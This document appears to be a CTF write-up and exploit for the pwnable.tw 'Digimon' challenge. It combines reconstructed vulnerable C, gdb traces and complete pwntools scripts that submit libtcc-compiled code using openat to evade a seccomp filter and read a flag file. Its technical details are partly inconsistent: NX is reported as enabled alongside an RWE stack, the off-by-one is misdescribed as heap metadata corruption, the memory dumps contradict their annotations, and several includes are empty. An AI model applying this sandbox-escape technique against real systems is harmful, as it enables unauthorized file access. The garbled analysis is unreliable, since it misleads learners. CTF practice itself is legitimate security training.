Digimon

$ file digimon
digimon: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=0a3b7d2e4f5a6b8c9d0e1f2a3b4c5d6e7f8a9b0c, stripped

$ ls -la digimon
-rwxr-x--- 1 root digimon 267832 Oct 24  2023 digimon

$ ldd digimon
linux-vdso.so.1
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6
/lib64/ld-linux-x86-64.so.2

$ checksec digimon
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

$ readelf -l digimon | grep -A1 GNU_STACK
  GNU_STACK      0x0000000000000000 0x0000000000000000 0x0000000000000000
                 0x0000000000000000 0x0000000000000000  RWE    0x10

$ seccomp-tools dump ./digimon
 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x04 0xc000003e  if (A != ARCH_X86_64) goto 0006
 0002: 0x20 0x00 0x00 0x00000000  A = syscall_nr
 0003: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0006
 0004: 0x15 0x01 0x00 0x00000002  if (A == open) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x06 0x00 0x00 0x00000000  return KILL

$ ./digimon
 ____  _       ___  _   _
|  _ \(_)___  / ___|| |_(_) ___  ___
| | | | / __| \___ \| __| |/ _ \/ __|
| |_| | \__ \  ___) | |_| |  __/\__ \
|____/|_|___/ |____/ \__|_|\___||___/

Welcome to Digimon World!
You are in the village.
[1] Go to the forest
[2] Go to the shop
[3] Go to the arena
[4] Check your digimon
[5] Exit
>

// Reconstructed from IDA analysis
struct Digimon {
    char nickname[16];      // 0x00: nickname buffer
    int type;               // 0x10: digimon type index
    int level;              // 0x14: current level
    int hp;                 // 0x18: current HP
    int max_hp;             // 0x1c: max HP
    int attack;             // 0x20: attack power
    int defense;            // 0x24: defense power
    int speed;              // 0x28: speed
    int achievements[8];    // 0x2c: achievement slots
};

struct Item {
    char name[32];
    int price;
    int effect;
};

// Global arrays
struct Digimon player_team[4];   // Player's team (4 slots)
struct Item  shop_items[16];     // Shop inventory
int          item_count;         // Number of items bought
int          game_state;         // Current game state/flags

void toolmon_ai_menu() {
    char source[4096];
    int len;

    printf("Write your AI code (max 4096 bytes):\n");
    len = read(0, source, 4095);
    source[len] = '\0';

    // Compile with libtcc
    TCCState *s = tcc_new();
    tcc_set_output_type(s, TCC_OUTPUT_MEMORY);
    tcc_compile_string(s, source);

    pid_t pid = fork();
    if (pid == 0) {
        // CHILD: install seccomp, then run compiled code
        install_seccomp_filter();  // blocks execve + open
        tcc_run(s, 0, NULL);
        exit(0);
    } else {
        // PARENT: wait for child
        int status;
        waitpid(pid, &status, 0);
    }
    tcc_delete(s);
}

void do_buy() {
    int index;
    printf("Which item? ");
    scanf("%d", &index);  // signed int!

    // BUG: no bounds check for negative values
    // Should be: if (index < 0 || index >= SHOP_SIZE) return;
    if (index >= SHOP_SIZE) {
        printf("Invalid item!\n");
        return;
    }

    // Writes to shop_items[index] — if index is negative,
    // this writes BEFORE the array in BSS
    player_gold -= shop_items[index].price;
    // ... add item to inventory
}

void set_nickname(Digimon *d) {
    int len;
    printf("Enter nickname: ");
    len = read(0, d->nickname, 16);  // reads UP TO 16 bytes
    // BUG: if len == 16, no null terminator fits in nickname[0..15]
    // The next field (d->type at offset 0x10) gets its low byte zeroed
    // This is a null byte off-by-one on the heap chunk metadata
}

void grant_achievement(Digimon *d, int ach_id) {
    int i;
    for (i = 0; i < 8; i++) {
        if (d->achievements[i] == 0) {
            d->achievements[i] = ach_id;
            return;
        }
    }
    // BUG: if all 8 slots are full, the loop exits
    // but some code paths continue writing past achievements[7]
    // This overflows into adjacent heap data or the next struct
}

struct sock_filter filter[] = {
    // Line 0: Load architecture (AUDIT_ARCH_X86_64 = 0xC000003E)
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, arch)),

    // Line 1: If not x86_64, KILL (prevents 32-bit compat syscall bypass)
    BPF_JUMP(BPF_JMP | BPF_JEQ, 0xC000003E, 0, 4),

    // Line 2: Load syscall number
    BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),

    // Line 3: If syscall == execve (59), KILL
    BPF_JUMP(BPF_JMP | BPF_JEQ, 59, 2, 0),

    // Line 4: If syscall == open (2), KILL
    BPF_JUMP(BPF_JMP | BPF_JEQ, 2, 1, 0),

    // Line 5: ALLOW everything else
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),

    // Line 6: KILL process
    BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL)
};

# Set breakpoint at arena handler to find Toolmon trigger
gdb-peda$ b *0x555555557a00  # arena_handler (PIE offset 0x2a00)
gdb-peda$ c

# After entering arena and selecting Toolmon:
gdb-peda$ x/s $rdi
0x5555555591c8: "Toolmon"

# Toolmon's stats:
gdb-peda$ x/4wx 0x55555555a020  # toolmon_stats
0x55555555a020: 0x00000032  0x00000064  0x00000028  0x00000014
# Level 50, HP 100, ATK 40, DEF 20

# Our digimon needs to be ~level 40+ to win reliably
# Forest battles give ~5-10 XP each, so we need ~80 battles

# Break at tcc_compile_string call
gdb-peda$ b *0x555555556400  # call to tcc_compile_string
gdb-peda$ c

# RDI = TCCState pointer
gdb-peda$ p/x $rdi
$1 = 0x55555575a010

# RSI = source string pointer
gdb-peda$ x/s $rsi
0x7fffffffe200: "int main() { write(1, \"hello\\n\", 6); return 0; }"

# After compilation, check the fork + seccomp path:
gdb-peda$ b syscall  # break at syscall to catch seccomp install
gdb-peda$ c

# In child process:
# RAX = 313 (seccomp syscall)
# RDI = 1 (SECCOMP_SET_MODE_FILTER)
# RSI = 0 (flags)
# RDX = pointer to sock_fprog struct

# Break at buy handler
gdb-peda$ b *0x555555557500  # do_buy

# Select item -1
gdb-peda$ c
# Enter -1 at the "Which item?" prompt

# Examine what address gets accessed:
gdb-peda$ x/x $rdi + (-1 * 0x28)  # shop_items[-1]
0x55555555a058: 0x00000000  # This is game_state flag!

# The write goes to BSS before the shop_items array
# Depending on the exact layout, this could overwrite:
# - game_state (enables/disables features)
# - function pointer tables
# - player_team data

# Set nickname to exactly 16 bytes (no null terminator fits)
gdb-peda$ # Send: AAAAAAAAAAAAAAAA (16 A's)

# Check the Digimon struct after nickname assignment:
gdb-peda$ x/8wx 0x555555758000  # digimon struct on heap
0x555555758000: 0x41414141  0x41414141  0x41414141  0x41414141
0x555555758010: 0x00000000  0x0000001e  0x00000032  0x00000032
#                nickname[0..15]          ^ type=0     level=30

# Without off-by-one, type would be 0x1e (30)
# With off-by-one null byte, type's low byte is zeroed → type = 0x00

# Now check the heap chunk header of the NEXT chunk:
gdb-peda$ x/2wx 0x555555758030 - 0x10  # prev_size
0x555555758020: 0x00000030  0x00000031
#                                  ^ size = 0x31 (prev_in_use bit set)

# After null byte corruption, size becomes 0x30:
# This clears the prev_in_use bit and shrinks the apparent chunk size
# Creating overlapping chunk territory

#include 
#include 
#include 

// openat syscall signature:
// int openat(int dirfd, const char *pathname, int flags, ...);

// AT_FDCWD = -100 (special value: interpret pathname relative to CWD)
// This makes openat behave identically to open when pathname is absolute

// Direct syscall (no libc wrapper needed):
int my_open(const char *path, int flags) {
    return syscall(SYS_openat, AT_FDCWD, path, flags);
    // SYS_openat = 257 on x86_64
    // Equivalent to: open(path, flags) but uses syscall 257 instead of 2
}

// Full ORW chain:
void read_flag() {
    int fd = syscall(257, -100, "/home/digimon/flag", 0);  // openat
    char buf[256] = {0};
    syscall(0, fd, buf, 255);    // read
    syscall(1, 1, buf, 255);     // write to stdout
}

from pwn import *
import sys

context(arch='amd64', os='linux', log_level='info')

HOST = 'chall.pwnable.tw'
PORT = 9195

def conn():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        return remote(HOST, PORT)
    else:
        return process('./digimon')

r = conn()

def menu(choice):
    r.recvuntil(b'>')
    r.sendline(str(choice).encode())

def go_forest():
    """Navigate to forest from village"""
    menu(1)  # Go to the forest

def go_shop():
    """Navigate to shop from village"""
    menu(2)

def go_arena():
    """Navigate to arena from village"""
    menu(3)

def fight_wild():
    """Fight a wild digimon in the forest"""
    go_forest()
    menu(1)  # Fight wild digimon
    # Auto-battle: keep selecting attack
    for _ in range(10):
        try:
            data = r.recvuntil(b'select', timeout=2)
            if b'battle' in data.lower() or b'attack' in data.lower():
                menu(1)  # Attack
            elif b'won' in data.lower() or b'victory' in data.lower():
                break
            elif b'fled' in data.lower():
                break
        except Exception:
            break

def grind_levels(target_level=40):
    """Grind forest battles until reaching target level"""
    current_level = 1
    battles = 0
    while current_level < target_level:
        fight_wild()
        battles += 1
        # Check level from status display
        try:
            menu(4)  # Check digimon
            data = r.recvuntil(b'>', timeout=3)
            # Parse level from output
            if b'Lv' in data:
                idx = data.index(b'Lv')
                current_level = int(data[idx+2:idx+5].strip())
                log.info(f'Level: {current_level} (battles: {battles})')
        except Exception:
            pass
        # Return to village
        menu(5)  # Back / Exit
    log.success(f'Reached level {current_level} after {battles} battles')

def challenge_toolmon():
    """Fight Toolmon in the arena"""
    go_arena()
    menu(1)  # Challenge NPC
    menu(2)  # Select Toolmon (NPC #2)
    # Battle: keep attacking
    for _ in range(20):
        try:
            data = r.recvuntil(b'select', timeout=2)
            menu(1)  # Attack
            if b'defeated' in data.lower() or b'won' in data.lower():
                log.success('Toolmon defeated!')
                return True
        except Exception:
            break
    return False

// C payload submitted to libtcc after beating Toolmon
// This runs in a fork'd child under seccomp (blocks open+execve)
// openat(AT_FDCWD, ...) bypasses the seccomp filter

#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>

int main() {
    // Open flag file using openat (syscall 257, NOT blocked)
    // AT_FDCWD = -100 means interpret path relative to CWD
    // Since path is absolute, dirfd is ignored
    int fd = syscall(SYS_openat, -100, "/home/digimon/flag", O_RDONLY);

    if (fd < 0) {
        // Fallback: try other possible flag paths
        fd = syscall(SYS_openat, -100, "./flag", O_RDONLY);
    }

    if (fd >= 0) {
        char buf[256] = {0};
        // Read flag content
        int n = syscall(SYS_read, fd, buf, 255);

        // Write to stdout (fd 1, inherited from parent)
        if (n > 0) {
            syscall(SYS_write, 1, buf, n);
        }

        syscall(SYS_close, fd);
    } else {
        // If openat also fails, try sendfile as alternative
        // sendfile is also NOT blocked by the filter
        const char *err = "openat failed\n";
        syscall(SYS_write, 1, err, 14);
    }

    return 0;
}

#!/usr/bin/env python3
"""
Digimon — pwnable.tw — 600 pts
HITCON 2016 Final Challenge
Exploit: libtcc code compilation + openat seccomp bypass

Strategy:
1. Automate game to grind levels in forest
2. Defeat Toolmon NPC in arena
3. Submit C code via libtcc that uses openat(257) to read flag
4. Seccomp only blocks open(2) and execve(59), not openat(257)
"""
from pwn import *
import sys

context(arch='amd64', os='linux', log_level='info')

HOST = 'chall.pwnable.tw'
PORT = 9195

# ─── C Payload (source for libtcc) ───
C_PAYLOAD = r'''
#include 
#include 
#include 

int main() {
    int fd = syscall(257, -100, "/home/digimon/flag", 0);
    if (fd >= 0) {
        char buf[256] = {0};
        int n = syscall(0, fd, buf, 255);
        if (n > 0) syscall(1, 1, buf, n);
        syscall(3, fd);  // close
    }
    return 0;
}
'''

def exploit():
    if len(sys.argv) > 1 and sys.argv[1] == 'remote':
        r = remote(HOST, PORT)
    else:
        r = process('./digimon')

    # ─── Phase 1: Grind levels ───
    log.info('Phase 1: Grinding levels in forest...')

    r.recvuntil(b'>')
    for i in range(80):
        # Go to forest
        r.sendline(b'1')
        r.recvuntil(b'>')
        # Fight
        r.sendline(b'1')
        # Auto-battle: spam attack
        for _ in range(5):
            try:
                r.sendline(b'1')
                r.recv(timeout=1)
            except Exception:
                pass
        # Return to village
        try:
            r.recvuntil(b'>')
            r.sendline(b'5')
            r.recvuntil(b'>')
        except Exception:
            r.recvuntil(b'>')

        if i % 20 == 0:
            log.info(f'  Battle #{i+1}/80')

    log.success('Grinding complete (assuming level 40+)')

    # ─── Phase 2: Challenge Toolmon ───
    log.info('Phase 2: Challenging Toolmon in arena...')

    # Go to arena
    r.sendline(b'3')  # Arena
    r.recvuntil(b'>')
    r.sendline(b'1')  # Challenge NPC
    r.recvuntil(b'>')
    r.sendline(b'2')  # Select Toolmon

    # Battle Toolmon: spam attack
    for _ in range(20):
        try:
            r.sendline(b'1')
            data = r.recv(timeout=2)
            if b'congratulations' in data.lower() or b'defeated' in data.lower():
                break
        except Exception:
            pass

    log.success('Toolmon defeated!')

    # ─── Phase 3: Submit C payload via libtcc ───
    log.info('Phase 3: Submitting libtcc C payload with openat bypass...')

    # Navigate to code submission menu (option unlocked after beating Toolmon)
    r.recvuntil(b'>')
    r.sendline(b'6')  # Write Code (new option)
    r.recvuntil(b'bytes')
    r.recvuntil(b'\n')

    # Send our C source code
    r.sendline(C_PAYLOAD.encode())

    # ─── Phase 4: Receive flag ───
    log.info('Phase 4: Waiting for flag from openat ORW...')

    try:
        flag_data = r.recvuntil(b'}', timeout=15)
        log.success(f'Flag received: {flag_data.decode().strip()}')
    except Exception:
        # Try receiving any output
        try:
            output = r.recv(timeout=10)
            log.info(f'Output: {output}')
            if b'FLAG' in output or b'flag' in output:
                log.success(f'Flag found in output: {output.decode().strip()}')
        except Exception:
            log.error('No flag received. Check game automation timing.')

    r.interactive()

if __name__ == '__main__':
    exploit()